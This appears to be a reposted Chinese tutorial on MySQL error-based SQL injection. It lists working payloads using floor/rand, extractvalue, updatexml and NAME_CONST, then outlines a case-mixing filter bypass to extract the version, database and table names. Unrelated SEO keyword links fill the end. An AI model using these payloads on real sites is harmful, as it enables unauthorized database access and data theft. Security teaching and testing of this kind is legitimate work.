SQL注入之mysql显错注入
发表于:2026-11-01 作者:千家信息网编辑
千家信息网最后更新 2026年11月01日,在我们实际***中,明明发现一个注入点,本以为丢给sqlmap就可以了,结果sqlmap只显示确实是注入点,但是数据库却获取不了,如图1所示,这时我们可以使用手工进行注入,判断出过滤规则以及基本过滤情
千家信息网最后更新 2026年11月01日SQL注入之mysql显错注入
在我们实际***中,明明发现一个注入点,本以为丢给sqlmap就可以了,结果sqlmap只显示确实是注入点,但是数据库却获取不了,如图1所示,这时我们可以使用手工进行注入,判断出过滤规则以及基本过滤情况,然后再选择对应的sqlmap脚本(如果有的话),本文主要是讲述如何通过mysql函数报错来进行注入,另外如何使用手工进行全程注入的利用过程,如果你知道sqlmap里面有对应的脚本的话,烦请告知一下,谢谢!。
图1 获取数据库失败
此时我们可以考虑下是否是显错注入,对于显错注入我们可以使用mysql显错注入函数进行查询数据库信息。
通过floor报错:
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)
and (select count(*) from (select 1 union select null union select !1)x group by concat((select version()),floor(rand(0)*2)))
通过ExtractValue报错:
and extractvalue(1, concat(0x7f, (select version()),0x7f))
通过UpdateXml报错:
and 1=(updatexml(1,concat(0x7f,(select version()),0x7f),1))
通过NAME_CONST报错:
and 1=(select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)
通过错误的双重查询:
or 1 group by concat_ws(0x7f,version(),floor(rand(0)*2)) having min(0) or 1
在这里我们以UpdateXml报错进行实战演示,如图2是一个显错注入点。

图2 显错注入点
此时我们将通过UpdateXml来进行SQL注入,这里由于对关键字进行了过滤,因此我们需要使用大小写来进行绕过,首先我们查询数据库版本,如图3所示,成功获取了数据库版本。

图3 获取数据库版本信息
获取数据库名,如图4所示。
图4 获取数据名
获取表名,如图5所示。
图5 获取表名
后续操作请参考文章《mysql手工注入》,这里不再进行累赘!
数据
数据库
如图
手工
版本
查询
信息
函数
脚本
成功
累赘
全程
关键
关键字
大小
实战
实际
情况
文章
结果
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
互联网科技图片
重生之互联网科技帝国
中国互联网科技股
互联网属科技
智网互联网科技
互联网与新科技
安徽鑫晟辉互联网科技
九亚互联网科技
远拓互联网科技
上海万想互联网科技
衡水科技产业互联网平台
晓花互联网科技有限公司网址
深圳市优智互联网科技有限公司
互联网第三次科技革命特征
电子商务与互联网科技的关系
银行科技岗属于互联网吗
产业互联网科技服务公司
互联网领先科技宣传片
中国新注册互联网科技
瑞安市蟠桃会互联网科技有限公司
互联网科技
什么是科技互联网
互联网与科技金融数据
银优互联网科技有限公司
成都仁贤领冠互联网科技有限公司
互联网科技与大数据专业
互联网科技和信息
深圳无忧互联网科技
萌小萌互联网科技河南有限公司
杭州融税互联网科技有限公司